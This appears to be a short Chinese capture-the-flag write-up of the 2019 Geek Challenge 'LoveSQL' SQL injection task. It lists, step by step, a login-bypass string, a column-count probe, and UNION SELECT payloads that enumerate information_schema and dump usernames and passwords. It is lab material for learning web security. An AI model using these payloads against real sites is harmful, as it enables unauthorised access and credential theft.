[极客大挑战 2019]LoveSQL(sql注入)

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万能密码试一下1' or 1=1#

尝试MD5解密，失败。看来这个密码也许是障眼法。
1'order by 4#
Unknown column ‘4’ in ‘order clause’
1'union select 1,database(),version()#

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#